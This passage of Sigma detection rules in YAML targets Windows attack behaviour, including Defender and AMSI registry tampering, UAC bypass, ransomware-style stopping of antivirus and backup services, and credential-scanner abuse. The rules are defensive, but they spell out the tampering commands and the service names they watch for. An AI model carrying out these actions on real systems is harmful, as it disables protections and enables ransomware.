- '-Path "$env:windir'
- "-Path '$env:windir"
selection_permissions:
# Note: Add more suspicious permissions
ScriptBlockText|contains:
- 'FullControl'
- 'Allow'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Windows Binaries Write Suspicious Extensions
id: b8fd0e93-ff58-4cbd-8f48-1c114e342e62
related:
- id: 1277f594-a7d1-4f28-a2d3-73af5cbeab43
type: derived
status: test
description: Detects Windows executables that write files with suspicious extensions
references:
- Internal Research
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-12
modified: 2025-10-07
tags:
- attack.stealth
- attack.t1036
logsource:
category: file_event
product: windows
detection:
selection_generic:
Image|endswith:
- '\csrss.exe'
- '\lsass.exe'
- '\RuntimeBroker.exe'
- '\sihost.exe'
- '\smss.exe'
- '\wininit.exe'
- '\winlogon.exe'
TargetFilename|endswith:
- '.bat'
- '.dll'
- '.exe'
- '.hta'
- '.iso'
- '.ps1'
- '.txt'
- '.vbe'
- '.vbs'
selection_special:
Image|endswith:
- '\dllhost.exe'
- '\rundll32.exe'
- '\svchost.exe'
TargetFilename|endswith:
- '.bat'
- '.hta'
- '.iso'
- '.ps1'
- '.vbe'
- '.vbs'
filter_main_AppLockerPolicyTest:
Image: 'C:\Windows\System32\dllhost.exe'
TargetFilename|contains|all:
- ':\Users\'
- '\AppData\Local\Temp\__PSScriptPolicyTest_'
TargetFilename|endswith: '.ps1'
filter_main_script_gpo_machine:
Image: 'C:\Windows\system32\svchost.exe'
TargetFilename|contains|all:
- 'C:\Windows\System32\GroupPolicy\DataStore\'
- '\sysvol\'
- '\Policies\'
- '\Machine\Scripts\Startup\'
TargetFilename|endswith:
- '.ps1'
- '.bat'
filter_main_clipchamp:
Image: 'C:\Windows\system32\svchost.exe'
TargetFilename|contains|all:
- 'C:\Program Files\WindowsApps\Clipchamp'
- '.ps1'
filter_main_powershell_preview:
Image:
- 'C:\Windows\system32\svchost.exe'
- 'C:\Windows\SysWOW64\svchost.exe'
TargetFilename|startswith:
- 'C:\Program Files\WindowsApps\Microsoft.PowerShellPreview'
- 'C:\Program Files (x86)\WindowsApps\Microsoft.PowerShellPreview'
TargetFilename|endswith: '.ps1'
condition: 1 of selection_* and not 1 of filter_main_*
falsepositives:
- Unknown
level: high
title: Windows Shell/Scripting Application File Write to Suspicious Folder
id: 1277f594-a7d1-4f28-a2d3-73af5cbeab43
status: test
description: Detects Windows shells and scripting applications that write files to suspicious folders
references:
- Internal Research
author: Florian Roth (Nextron Systems)
date: 2021-11-20
modified: 2023-03-29
tags:
- attack.execution
- attack.t1059
logsource:
category: file_event
product: windows
detection:
selection_1:
Image|endswith:
- '\bash.exe'
- '\cmd.exe'
- '\cscript.exe'
- '\msbuild.exe' # https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml
- '\powershell.exe'
- '\pwsh.exe'
- '\sh.exe'
- '\wscript.exe'
TargetFilename|startswith:
- 'C:\PerfLogs\'
- 'C:\Users\Public\'
selection_2:
Image|endswith:
- '\certutil.exe'
- '\forfiles.exe'
- '\mshta.exe'
# - '\rundll32.exe' # Potential FP
- '\schtasks.exe'
- '\scriptrunner.exe'
- '\wmic.exe' # https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/
TargetFilename|contains:
- 'C:\PerfLogs\'
- 'C:\Users\Public\'
- 'C:\Windows\Temp\'
condition: 1 of selection_*
falsepositives:
- Unknown
level: high
title: UAC Bypass Using Windows Media Player - File
id: 68578b43-65df-4f81-9a9b-92f32711a951
status: test
description: Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
references:
- https://github.com/hfiref0x/UACME
author: Christian Burkard (Nextron Systems)
date: 2021-08-23
modified: 2022-10-09
tags:
- attack.privilege-escalation
- attack.t1548.002
logsource:
category: file_event
product: windows
detection:
selection1:
TargetFilename|startswith: 'C:\Users\'
TargetFilename|endswith: '\AppData\Local\Temp\OskSupport.dll'
selection2:
Image: 'C:\Windows\system32\DllHost.exe'
TargetFilename: 'C:\Program Files\Windows Media Player\osk.exe'
condition: 1 of selection*
falsepositives:
- Unknown
level: high
title: Potential Windows Defender AV Bypass Via Dump64.EXE Rename
id: 129966c9-de17-4334-a123-8b58172e664d
status: test
description: |
Detects when a user is potentially trying to bypass the Windows Defender AV by renaming a tool to dump64.exe and placing it in the Visual Studio folder.
Currently the rule is covering only usage of procdump but other utilities can be added in order to increase coverage.
references:
- https://twitter.com/mrd0x/status/1460597833917251595
author: Austin Songer @austinsonger, Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2021-11-26
modified: 2024-06-21
tags:
- attack.credential-access
- attack.t1003.001
logsource:
product: windows
category: process_creation
detection:
selection_dump:
Image|startswith: ':\Program Files'
Image|contains: '\Microsoft Visual Studio\'
Image|endswith: '\dump64.exe'
selection_tools_procdump:
- OriginalFileName: 'procdump'
- CommandLine|contains:
- ' -ma ' # Full Dump
- ' -mp ' # Mini Plus
condition: selection_dump and 1 of selection_tools_*
falsepositives:
- Unknown
level: high
title: Suspicious Windows Service Tampering
id: ce72ef99-22f1-43d4-8695-419dcb5d9330
related:
- id: eb87818d-db5d-49cc-a987-d5da331fbd90
type: obsolete
- id: 6783aa9e-0dc3-49d4-a94a-8b39c5fd700b
type: obsolete
- id: 7fd4bb39-12d0-45ab-bb36-cebabc73dc7b
type: obsolete
status: test
description: |
Detects the usage of binaries such as 'net', 'sc' or 'powershell' in order to stop, pause, disable or delete critical or important Windows services such as AV, Backup, etc. As seen being used in some ransomware scripts
references:
- https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg
- https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
- https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
- https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
- https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/delete-method-in-class-win32-service
author: Nasreddine Bencherchali (Nextron Systems), frack113 , X__Junior (Nextron Systems)
date: 2022-09-01
modified: 2025-08-27
tags:
- attack.impact
- attack.defense-impairment
- attack.t1489
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_tools_img:
- OriginalFileName:
- 'net.exe'
- 'net1.exe'
- 'PowerShell_ISE.EXE'
- 'PowerShell.EXE'
- 'psservice.exe'
- 'pwsh.dll'
- 'sc.exe'
- 'wmic.exe'
- Image|endswith:
- '\net.exe'
- '\net1.exe'
- '\PowerShell_ISE.EXE'
- '\powershell.exe'
- '\PsService.exe'
- '\PsService64.exe'
- '\pwsh.exe'
- '\sc.exe'
- '\wmic.exe' # wmic process call win32_service where name='servicename' delete
selection_tools_cli:
- CommandLine|contains:
- ' delete '
- '.delete()' # Get-WmiObject win32_service -Filter "name='$serviceName'" ).delete()
- ' pause ' # Covers flags from: PsService and Sc.EXE
- ' stop ' # Covers flags from: PsService.EXE, Net.EXE and Sc.EXE
- 'Stop-Service '
- 'Remove-Service '
- CommandLine|contains|all:
- 'config'
- 'start=disabled'
selection_services:
CommandLine|contains:
- '143Svc'
- 'Acronis VSS Provider'
- 'AcronisAgent'
- 'AcrSch2Svc'
- 'AdobeARMservice'
- 'AHS Service'
- 'Antivirus'
- 'Apache4'
- 'ARSM'
- 'aswBcc'
- 'AteraAgent'
- 'Avast Business Console Client Antivirus Service'
- 'avast! Antivirus'
- 'AVG Antivirus'
- 'avgAdminClient'
- 'AvgAdminServer'
- 'AVP1'
- 'BackupExec'
- 'bedbg'
- 'BITS'
- 'BrokerInfrastructure'
- 'CASLicenceServer'
- 'CASWebServer'
- 'Client Agent 7.60'
- 'Core Browsing Protection'
- 'Core Mail Protection'
- 'Core Scanning Server'
- 'DCAgent'
- 'dwmrcs'
- 'EhttpSr'
- 'ekrn'
- 'Enterprise Client Service'
- 'epag'
- 'EPIntegrationService'
- 'EPProtectedService'
- 'EPRedline'
- 'EPSecurityService'
- 'EPUpdateService'
- 'EraserSvc11710'
- 'EsgShKernel'
- 'ESHASRV'
- 'FA_Scheduler'
- 'FirebirdGuardianDefaultInstance'
- 'FirebirdServerDefaultInstance'
- 'FontCache3.0.0.0'
- 'HealthTLService'
- 'hmpalertsvc'
- 'HMS'
- 'HostControllerService'
- 'hvdsvc'
- 'IAStorDataMgrSvc'
- 'IBMHPS'
- 'ibmspsvc'
- 'IISAdmin'
- 'IMANSVC'
- 'IMAP4Svc'
- 'instance2'
- 'KAVFS'
- 'KAVFSGT'
- 'kavfsslp'
- 'KeyIso'
- 'klbackupdisk'
- 'klbackupflt'
- 'klflt'
- 'klhk'
- 'KLIF'
- 'klim6'
- 'klkbdflt'
- 'klmouflt'
- 'klnagent'
- 'klpd'
- 'kltap'
- 'KSDE1.0.0'
- 'LogProcessorService'
- 'M8EndpointAgent'
- 'macmnsvc'
- 'masvc'
- 'MBAMService'
- 'MBCloudEA'
- 'MBEndpointAgent'
- 'McAfeeDLPAgentService'
- 'McAfeeEngineService'
- 'MCAFEEEVENTPARSERSRV'
- 'McAfeeFramework'
- 'MCAFEETOMCATSRV530'
- 'McShield'
- 'McTaskManager'
- 'mfefire'
- 'mfemms'
- 'mfevto'
- 'mfevtp'
- 'mfewc'
- 'MMS'
- 'mozyprobackup'
- 'mpssvc'
- 'MSComplianceAudit'
- 'MSDTC'
- 'MsDtsServer'
- 'MSExchange'
- 'msftesq1SPROO'
- 'msftesql$PROD'
- 'msftesql$SQLEXPRESS'
- 'MSOLAP$SQL_2008'
- 'MSOLAP$SYSTEM_BGC'
- 'MSOLAP$TPS'
- 'MSOLAP$TPSAMA'
- 'MSOLAPSTPS'
- 'MSOLAPSTPSAMA'
- 'mssecflt'
- 'MSSQ!I.SPROFXENGAGEMEHT'
- 'MSSQ0SHAREPOINT'
- 'MSSQ0SOPHOS'
- 'MSSQL'
- 'MSSQLFDLauncher$'
- 'MySQL'
- 'NanoServiceMain'
- 'NetMsmqActivator'
- 'NetPipeActivator'
- 'netprofm'
- 'NetTcpActivator'
- 'NetTcpPortSharing'
- 'ntrtscan'
- 'nvspwmi'
- 'ofcservice'
- 'Online Protection System'
- 'OracleClientCache80'
- 'OracleDBConsole'
- 'OracleMTSRecoveryService'
- 'OracleOraDb11g_home1'
- 'OracleService'
- 'OracleVssWriter'
- 'osppsvc'
- 'PandaAetherAgent'
- 'PccNTUpd'
- 'PDVFSService'
- 'POP3Svc'
- 'postgresql-x64-9.4'
- 'POVFSService'
- 'PSUAService'
- 'Quick Update Service'
- 'RepairService'
- 'ReportServer'
- 'ReportServer$'
- 'RESvc'
- 'RpcEptMapper'
- 'sacsvr'
- 'SamSs'
- 'SAVAdminService'
- 'SAVService'
- 'ScSecSvc'
- 'SDRSVC'
- 'SearchExchangeTracing'
- 'sense'
- 'SentinelAgent'
- 'SentinelHelperService'
- 'SepMasterService'
- 'ShMonitor'
- 'Smcinst'
- 'SmcService'
- 'SMTPSvc'
- 'SNAC'
- 'SntpService'
- 'Sophos'
- 'SQ1SafeOLRService'
- 'SQL Backups'
- 'SQL Server'
- 'SQLAgent'
- 'SQLANYs_Sage_FAS_Fixed_Assets'
- 'SQLBrowser'
- 'SQLsafe'
- 'SQLSERVERAGENT'
- 'SQLTELEMETRY'
- 'SQLWriter'
- 'SSISTELEMETRY130'
- 'SstpSvc'
- 'storflt'
- 'svcGenericHost'
- 'swc_service'
- 'swi_filter'
- 'swi_service'
- 'swi_update'
- 'Symantec'
- 'sysmon'
- 'TeamViewer'
- 'Telemetryserver'
- 'ThreatLockerService'
- 'TMBMServer'
- 'TmCCSF'
- 'TmFilter'
- 'TMiCRCScanService'
- 'tmlisten'
- 'TMLWCSService'
- 'TmPfw'
- 'TmPreFilter'
- 'TmProxy'
- 'TMSmartRelayService'
- 'tmusa'
- 'Tomcat'
- 'Trend Micro Deep Security Manager'
- 'TrueKey'
- 'UFNet'
- 'UI0Detect'
- 'UniFi'
- 'UTODetect'
- 'vds'
- 'Veeam'
- 'VeeamDeploySvc'
- 'Veritas System Recovery'
- 'vmic'
- 'VMTools'
- 'vmvss'
- 'VSApiNt'
- 'VSS'
- 'W3Svc'
- 'wbengine'
- 'WdNisSvc'
- 'WeanClOudSve'
- 'Weems JY'
- 'WinDefend'
- 'wmms'
- 'wozyprobackup'
- 'WPFFontCache_v0400'
- 'WRSVC'
- 'wsbexchange'
- 'WSearch'
- 'wscsvc'
- 'Zoolz 2 Service'
condition: all of selection_*
falsepositives:
- Administrators or tools shutting down the services due to upgrade or removal purposes. If you experience some false positive, please consider adding filters to the parent process launching this command and not removing the entry
level: high
title: UAC Bypass Using Windows Media Player - Process
id: 0058b9e5-bcd7-40d4-9205-95ca5a16d7b2
status: test
description: Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)
references:
- https://github.com/hfiref0x/UACME
author: Christian Burkard (Nextron Systems)
date: 2021-08-23
modified: 2024-12-01
tags:
- attack.privilege-escalation
- attack.t1548.002
logsource:
category: process_creation
product: windows
detection:
selection_img_1:
Image: 'C:\Program Files\Windows Media Player\osk.exe'
selection_img_2:
Image: 'C:\Windows\System32\cmd.exe'
ParentCommandLine: '"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc" /s'
selection_integrity:
IntegrityLevel:
- 'High'
- 'System'
- 'S-1-16-16384' # System
- 'S-1-16-12288' # High
condition: 1 of selection_img_* and selection_integrity
falsepositives:
- Unknown
level: high
title: Suspicious Uninstall of Windows Defender Feature via PowerShell
id: c443012c-7928-43bf-ac20-7eda5efe61ad
status: experimental
description: |
Detects the use of PowerShell with Uninstall-WindowsFeature or Remove-WindowsFeature cmdlets to disable or remove the Windows Defender GUI feature, a common technique used by adversaries to evade defenses.
references:
- https://learn.microsoft.com/en-us/powershell/module/microsoft.windows.servermanager.migration/uninstall-windowsfeature
- https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware
author: yxinmiracle
date: 2025-08-22
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\powershell_ise.exe'
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell_ISE.EXE'
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_cli_uninstall:
CommandLine|contains:
- 'Uninstall-WindowsFeature'
- 'Remove-WindowsFeature' # Only supported in Windows Server 2008 R2 and Windows 2012 R2
selection_cli_defender_feature:
CommandLine|contains: 'Windows-Defender'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Windows Defender Context Menu Removed
id: b9e8c7d6-a5f4-4e3d-8b1a-9f0c8d7e6a5b
related:
- id: 72a0369a-2576-4aaf-bfc9-6bb24a574ac6
type: similar
status: experimental
description: |
Detects the use of reg.exe or PowerShell to delete the Windows Defender context menu handler registry keys.
This action removes the "Scan with Microsoft Defender" option from the right-click menu for files, directories, and drives.
Attackers may use this technique to hinder manual, on-demand scans and reduce the visibility of the security product.
references:
- https://research.splunk.com/endpoint/395ed5fe-ad13-4366-9405-a228427bdd91/
- https://winaero.com/how-to-delete-scan-with-windows-defender-from-context-menu-in-windows-10/
- https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
author: 'Matt Anderson (Huntress)'
date: 2025-07-09
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\powershell_ise.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\reg.exe'
- OriginalFileName:
- 'powershell_ise.EXE'
- 'PowerShell.EXE'
- 'pwsh.dll'
- 'reg.exe'
selection_action:
CommandLine|contains:
- 'del'
- 'Remove-Item'
- 'ri '
selection_reg_path:
CommandLine|contains: '\shellex\ContextMenuHandlers\EPP'
condition: all of selection_*
falsepositives:
- May be part of a system customization or "debloating" script, but this is highly unusual in a managed corporate environment.
level: high
title: Suspicious Windows Defender Registry Key Tampering Via Reg.EXE
id: 452bce90-6fb0-43cc-97a5-affc283139b3
status: test
description: |
Detects the usage of "reg.exe" to tamper with different Windows Defender registry keys in order to disable some important features related to protection and detection
references:
- https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/
- https://github.com/swagkarna/Defeat-Defender-V1.2.0/tree/ae4059c4276da6f6303b8f53cdff085ecae88a91
- https://www.elevenforum.com/t/video-guide-how-to-completely-disable-microsoft-defender-antivirus.14608/page-2
- https://tria.ge/241231-j9yatstqbm/behavioral1
author: Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel, Nasreddine Bencherchali (Nextron Systems)
date: 2022-03-22
modified: 2025-06-04
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_root_img:
- Image|endswith: '\reg.exe'
- OriginalFileName: 'reg.exe'
selection_root_path:
CommandLine|contains:
- 'SOFTWARE\Microsoft\Windows Defender\'
- 'SOFTWARE\Policies\Microsoft\Windows Defender Security Center'
- 'SOFTWARE\Policies\Microsoft\Windows Defender\'
selection_dword_0:
CommandLine|contains|all:
- ' add '
- 'd 0'
CommandLine|contains:
- 'DisallowExploitProtectionOverride'
- 'EnableControlledFolderAccess'
- 'MpEnablePus'
- 'PUAProtection'
- 'SpynetReporting'
- 'SubmitSamplesConsent'
- 'TamperProtection'
selection_dword_1:
CommandLine|contains|all:
- ' add '
- 'd 1'
CommandLine|contains:
- 'DisableAccess'
- 'DisableAntiSpyware'
- 'DisableAntiSpywareRealtimeProtection'
- 'DisableAntiVirus'
- 'DisableAntiVirusSignatures'
- 'DisableArchiveScanning'
- 'DisableBehaviorMonitoring'
- 'DisableBlockAtFirstSeen'
- 'DisableCloudProtection'
- 'DisableConfig'
- 'DisableEnhancedNotifications'
- 'DisableIntrusionPreventionSystem'
- 'DisableIOAVProtection'
- 'DisableNetworkProtection'
- 'DisableOnAccessProtection'
- 'DisablePrivacyMode'
- 'DisableRealtimeMonitoring'
- 'DisableRoutinelyTakingAction'
- 'DisableScanOnRealtimeEnable'
- 'DisableScriptScanning'
- 'DisableSecurityCenter'
- 'Notification_Suppress'
- 'SignatureDisableUpdateOnStartupWithoutEngine'
condition: all of selection_root_* and 1 of selection_dword_*
falsepositives:
- Rare legitimate use by administrators to test software (should always be investigated)
level: high
title: Disabling Windows Defender WMI Autologger Session via Reg.exe
id: a1b2c3d4-e5f6-a7b8-c9d0-e1f2a3b4c5d6
related:
- id: f37b4bce-49d0-4087-9f5b-58bffda77316
type: similar
status: experimental
description: |
Detects the use of reg.exe to disable the Event Tracing for Windows (ETW) Autologger session for Windows Defender API and Audit events.
By setting the 'Start' value to '0' for the 'DefenderApiLogger' or 'DefenderAuditLogger' session, an attacker can prevent these critical security events
from being logged, effectively blinding monitoring tools that rely on this data. This is a powerful defense evasion technique.
references:
- https://research.splunk.com/endpoint/76406a0f-f5e0-4167-8e1f-337fdc0f1b0c/
- https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session
- https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
- https://blog.malwarebytes.com/malwarebytes-news/2021/02/lazyscripter-from-empire-to-double-rat/
- https://www.binarly.io/blog/design-issues-of-modern-edrs-bypassing-etw-based-solutions
author: Matt Anderson (Huntress)
date: 2025-07-09
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\reg.exe'
- OriginalFileName: 'reg.exe'
selection_reg_path:
CommandLine|contains:
- '\Control\WMI\Autologger\DefenderApiLogger\Start'
- '\Control\WMI\Autologger\DefenderAuditLogger\Start'
selection_reg_add:
CommandLine|contains|all:
- 'add'
- '0'
filter_main_enable:
CommandLine|contains: '0x00000001'
condition: all of selection_* and not 1 of filter_main_*
falsepositives:
- Highly unlikely
level: high
title: Windows Internet Hosted WebDav Share Mount Via Net.EXE
id: 7e6237fe-3ddb-438f-9381-9bf9de5af8d0
status: test
description: Detects when an internet hosted webdav share is mounted using the "net.exe" utility
references:
- https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-02-21
modified: 2023-07-25
tags:
- attack.lateral-movement
- attack.t1021.002
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\net.exe'
- '\net1.exe'
- OriginalFileName:
- 'net.exe'
- 'net1.exe'
selection_cli:
CommandLine|contains|all:
- ' use '
- ' http'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Windows EventLog Autologger Session Registry Modification Via CommandLine
id: d7b81144-b866-48a4-9bcc-275dc69d870e
related:
- id: f37b4bce-49d0-4087-9f5b-58bffda77316
type: similar
status: experimental
description: |
Detects attempts to disable Windows EventLog autologger sessions via registry modification.
The AutoLogger event tracing session records events that occur early in the operating system boot process.
Applications and device drivers can use the AutoLogger session to capture traces before the user logs in.
Adversaries may disable these sessions to evade detection and prevent security monitoring of early boot activities and system events.
references:
- https://learn.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-session
- https://ptylu.github.io/content/report/report.html?report=25
- https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-12-25
tags:
- attack.defense-impairment
- attack.t1685.001
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith:
- '\reg.exe'
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'reg.exe'
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_cli_action:
CommandLine|contains:
- 'add '
- 'Set-ItemProperty'
- 'New-ItemProperty'
- 'si ' # Set-ItemProperty alias
selection_cli_base:
CommandLine|contains: '\Control\WMI\Autologger\'
selection_cli_key:
CommandLine|contains:
- 'Start' # Key used to disable specific autologger session like EventLog-Application, EventLog-System etc.
- 'Enabled' # Key used to disable specific provider of autologger session
condition: all of selection_*
falsepositives:
- Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_autologger_session_registry_modification/info.yml
simulation:
- type: atomic-red-team
name: Disable EventLog-Application Auto Logger Session Via Registry - Cmd
technique: T1562.001
atomic_guid: 653c6e17-14a2-4849-851d-f1c0cc8ea9ab
- type: atomic-red-team
name: Disable EventLog-Application Auto Logger Session Via Registry - PowerShell
technique: T1562.001
atomic_guid: da86f239-9bd3-4e85-92ed-4a94ef111a1c
- type: atomic-red-team
name: Disable EventLog-Application ETW Provider Via Registry - Cmd
technique: T1562.001
atomic_guid: 1cac9b54-810e-495c-8aac-989e0076583b
- type: atomic-red-team
name: Disable EventLog-Application ETW Provider Via Registry - PowerShell
technique: T1562.001
atomic_guid: 8f907648-1ebf-4276-b0f0-e2678ca474f0
title: Script Interpreter Spawning Credential Scanner - Windows
id: 0f60b28c-64dd-4e2c-9a63-5334d3e3a6e6
related:
- id: f0025a69-e1b7-4dda-a53c-db21fa2d4071
type: similar
status: experimental
description: |
Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks).
This behavior is indicative of an attempt to find and steal secrets, as seen in the "Shai-Hulud: The Second Coming" campaign.
references:
- https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js
- https://www.stepsecurity.io/blog/sha1-hulud-the-second-coming-zapier-ens-domains-and-other-prominent-npm-packages-compromised
- https://www.endorlabs.com/learn/shai-hulud-2-malware-campaign-targets-github-and-cloud-credentials-using-bun-runtime
- https://semgrep.dev/blog/2025/digging-for-secrets-sha1-hulud-the-second-coming-of-the-npm-worm/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-25
tags:
- attack.credential-access
- attack.t1552
- attack.collection
- attack.execution
- attack.t1005
- attack.t1059.007
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
# Add more script interpreters as needed
- '\node.exe'
- '\bun.exe'
selection_child:
- Image|endswith:
- 'trufflehog.exe'
- 'gitleaks.exe'
- CommandLine|contains:
- 'trufflehog'
- 'gitleaks'
condition: all of selection_*
falsepositives:
- Legitimate pre-commit hooks or CI/CD pipeline jobs that use a script to run a credential scanner as part of a security check.
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_susp_script_interpretor_spawn_credential_scanner/info.yml
title: Windows AMSI Related Registry Tampering Via CommandLine
id: 7dbbcac2-57a0-45ac-b306-ff30a8bd2981
related:
- id: aa37cbb0-da36-42cb-a90f-fdf216fc7467 # AMSI Disabled via Registry Modification
type: similar
status: experimental
description: |
Detects tampering of AMSI (Anti-Malware Scan Interface) related registry values via command line tools such as reg.exe or PowerShell.
AMSI provides a generic interface for applications and services to integrate with antimalware products.
Adversaries may disable AMSI to evade detection of malicious scripts and code execution.
references:
- https://github.com/arttoolkit/arttoolkit.github.io/blob/16d6230d009e58fd6f773f5317fd4d14c1f26004/_wadcoms/AMSI-Bypass-Jscript_amsienable.md
- https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
- https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-12-25
tags:
- attack.defense-impairment
- attack.t1685
logsource:
category: process_creation
product: windows
detection:
selection_key:
CommandLine|contains|all:
- '\Software\Microsoft\Windows Script\Settings'
- 'AmsiEnable'
selection_reg_img:
- Image|endswith: '\reg.exe'
- OriginalFileName: 'reg.exe'
selection_reg_cmd:
CommandLine|contains: 'add'
selection_powershell_img:
- Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- OriginalFileName:
- 'PowerShell.EXE'
- 'pwsh.dll'
selection_powershell_cmd:
CommandLine|contains:
- 'Set-ItemProperty'
- 'New-ItemProperty'
- 'sp '
condition: selection_key and (all of selection_powershell_* or all of selection_reg_*)
falsepositives:
- Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_amsi_registry_tampering/info.yml
simulation:
- type: atomic-red-team
name: AMSI Bypass - Create AMSIEnable Reg Key
technique: T1562.001
atomic_guid: 728eca7b-0444-4f6f-ac36-437e3d751dc0
title: File Download Via Windows Defender MpCmpRun.EXE
id: 46123129-1024-423e-9fae-43af4a0fa9a5
status: test
description: Detects the use of Windows Defender MpCmdRun.EXE to download files
references:
- https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866
- https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
author: Matthew Matchen
date: 2020-09-04
modified: 2023-11-09
tags:
- attack.stealth
- attack.t1218
- attack.command-and-control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection_img:
- OriginalFileName: 'MpCmdRun.exe'
- Image|endswith: '\MpCmdRun.exe'
- CommandLine|contains: 'MpCmdRun.exe'
- Description: 'Microsoft Malware Protection Command Line Utility'
selection_cli:
CommandLine|contains|all:
- 'DownloadFile'
- 'url'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: Potential Signing Bypass Via Windows Developer Features
id: a383dec4-deec-4e6e-913b-ed9249670848
related:
- id: b110ebaf-697f-4da1-afd5-b536fa27a2c1
type: similar
status: test
description: Detects when a user enable developer features such as "Developer Mode" or "Application Sideloading". Which allows the user to install untrusted packages.
references:
- Internal Research
- https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-11
tags:
- attack.stealth
logsource:
category: process_creation
product: windows
detection:
selection_img:
- Image|endswith: '\SystemSettingsAdminFlows.exe'
- OriginalFileName: 'SystemSettingsAdminFlows.EXE'
selection_flag:
CommandLine|contains: 'TurnOnDeveloperFeatures'
selection_options:
CommandLine|contains:
- 'DeveloperUnlock'
- 'EnableSideloading'
condition: all of selection_*
falsepositives:
- Unknown
level: high
title: MMC Spawning Windows Shell
id: 05a2ab7e-ce11-4b63-86db-ab32e763e11d
status: test
description: Detects a Windows command line executable started from MMC
references:
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
author: Karneades, Swisscom CSIRT
date: 2019-08-05
modified: 2022-07-14
tags:
- attack.lateral-movement
- attack.t1021.003
logsource:
category: process_creation
product: windows
detection:
selection1:
ParentImage|endswith: '\mmc.exe'
selection2:
- Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\wscript.exe'
- '\cscript.exe'
- '\sh.exe'
- '\bash.exe'
- '\reg.exe'
- '\regsvr32.exe'
- Image|contains: '\BITSADMIN'
condition: all of selection*
level: high
title: Tamper Windows Defender Remove-MpPreference
id: 07e3cb2c-0608-410d-be4b-1511cb1a0448
related:
- id: ae2bdd58-0681-48ac-be7f-58ab4e593458
type: similar
status: test
description: Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet
references:
- https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-05
tags:
- attack.defense-impairment
- attack.t1685
logsource:
product: windows
category: process_creation
detection:
selection_remove:
CommandLine|contains: 'Remove-MpPreference'
selection_tamper:
CommandLine|contains:
